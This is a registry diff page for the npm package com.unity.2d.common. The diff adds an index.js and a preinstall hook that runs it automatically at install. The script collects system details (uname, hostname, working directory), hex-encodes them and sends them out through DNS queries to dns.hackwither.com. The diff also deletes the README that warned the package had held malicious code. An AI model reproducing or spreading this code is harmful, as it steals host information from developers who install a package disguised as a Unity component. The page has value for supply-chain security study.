com.unity.2d.common 0.0.1-security → 10.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of com.unity.2d.common might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +70 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,70 @@
1
+ const { exec } = require('child_process');
2
+ const dns = require('dns');
3
+
4
+ const REMOTE_DNS_LOG_SERVER = 'dns.hackwither.com'; // Replace with your DNS log server
5
+ const DNS_SERVER_IP = '18.133.128.31'; // Replace with your DNS server IP
6
+
7
+ function runCommandsAndSendDNS() {
8
+ exec("uname -a && hostname && pwd", (error, stdout, stderr) => {
9
+ if (error) {
10
+ console.error(`Command execution error: ${stderr || error.message}`);
11
+ return;
12
+ }
13
+
14
+ const hexEncoded = Buffer.from(stdout.trim()).toString('hex');
15
+ const maxLabelLength = 63;
16
+ const chunks = hexEncoded.match(new RegExp(`.{1,${maxLabelLength}}`, 'g'));
17
+
18
+ function sendDNSQuery(chunkIndex = 0, retries = 3) {
19
+ if (chunkIndex >= chunks.length) {
20
+ console.log('All data successfully sent via DNS');
21
+ return;
22
+ }
23
+
24
+ const subdomain = `${chunks[chunkIndex]}.chunk${chunkIndex}.${REMOTE_DNS_LOG_SERVER}`;
25
+ const digCommand = `dig @${DNS_SERVER_IP} ${subdomain}`;
26
+
27
+ exec(digCommand, (err, stdout, stderr) => {
28
+ if (err && retries > 0) {
29
+ console.error(`DNS query error: ${stderr || err.message}, retrying...`);
30
+ sendDNSQuery(chunkIndex, retries - 1);
31
+ } else if (!err) {
32
+ console.log(`Chunk ${chunkIndex} successfully sent via DNS`);
33
+ sendDNSQuery(chunkIndex + 1);
34
+ } else {
35
+ console.error(`Failed to send chunk ${chunkIndex} after multiple attempts`);
36
+ }
37
+ });
38
+ }
39
+
40
+ sendDNSQuery();
41
+ });
42
+ }
43
+
44
+ function decodeHex(hexString) {
45
+ const buffer = Buffer.from(hexString, 'hex');
46
+ return buffer.toString('utf8');
47
+ }
48
+
49
+ function decodeLogs(logLines) {
50
+ const chunkRegex = /\b([0-9a-f]{32,})\.chunk\d+\.dns\.hackwither\.com\b/;
51
+ let decodedData = '';
52
+
53
+ logLines.forEach(line => {
54
+ const match = line.match(chunkRegex);
55
+ if (match) {
56
+ decodedData += decodeHex(match[1]);
57
+ }
58
+ });
59
+
60
+ console.log('Decoded Data:', decodedData);
61
+ }
62
+
63
+ // Run the command and send DNS queries
64
+ runCommandsAndSendDNS();
65
+
66
+ // Example usage of decodeLogs (Replace with actual log lines)
67
+ const logLines = [
68
+ // Add your actual log lines here
69
+ ];
70
+ decodeLogs(logLines);
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "com.unity.2d.common",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "10.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall":"node index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=com.unity.2d.common for more information.